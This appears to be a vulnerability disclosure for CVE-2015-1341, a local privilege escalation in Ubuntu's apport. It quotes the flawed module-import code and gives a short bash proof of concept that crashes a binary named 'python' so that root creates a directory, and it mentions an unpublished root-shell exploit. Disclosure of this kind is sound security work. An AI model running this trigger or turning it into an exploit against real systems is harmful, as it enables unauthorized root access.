https://bugs.launchpad.net/ubuntu/%2Bsource/apport/%2Bbug/1507480

A privilege escalation was discovered in apport.

Details
=======

The command line of the process triggering the coredump is checked to
determine if it's a script. If the interpreter is Python and the first
argument is ``-m``, the method ``_python_module_path`` is called to find
the path of the culprit module
(``/usr/lib/python3/dist-packages/apport/report.py``)::

    @classmethod
    def _python_module_path(klass, module):
        '''Determine path of given Python module'''

        module = module.replace('/', '.')

        try:
            m = __import__(module)
            m
        except:
            return None

        [...]

Any Python module in ``sys.path`` can be imported because the variable
``module`` is under control of the attacker. It should be noted that
``_python_module_path`` is called with euid=0, and apport relies on the
process name to determine if the process is an interpreter. A crash of
Python isn't required to reach this function: any process name starting
with ``python`` and producing a core dump is enough. As an example, the
following bash script triggers the bug::

       #!/bin/bash

        cat <<EOF > python.c
        int main(void) { *(int *)0 = 0; return 0; }
        EOF
        gcc -o python python.c
        ./python -m venv.__main__

and results in the creation of a "lightweight virtual Python
environment" in the root directory::

        $ ./lol.sh
        ./lol.sh: line 8: 7665 Segmentation fault (core dumped)
        $ ls -l / | head -4
        total 100
        drw-rw---- 5 root root 4096 Sep 29 16:09 7665
        drwxr-xr-x 2 root root 4096 Sep 29 05:41 bin
        drwxr-xr-x 3 root root 4096 Sep 29 06:20 boot

Criticity
=========

Importing an arbitrary module is a security issue because a few standard
modules rely on files in the home directory associated to the uid of the
dumped process. A fully working exploit has been written (targetting
Python2 and Python3), giving an instant root shell to the attacker.
While the exploitation is straightforward for Python2, a bit more work
was required to find a suitable module for Python3.

References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1341
http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1341.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1341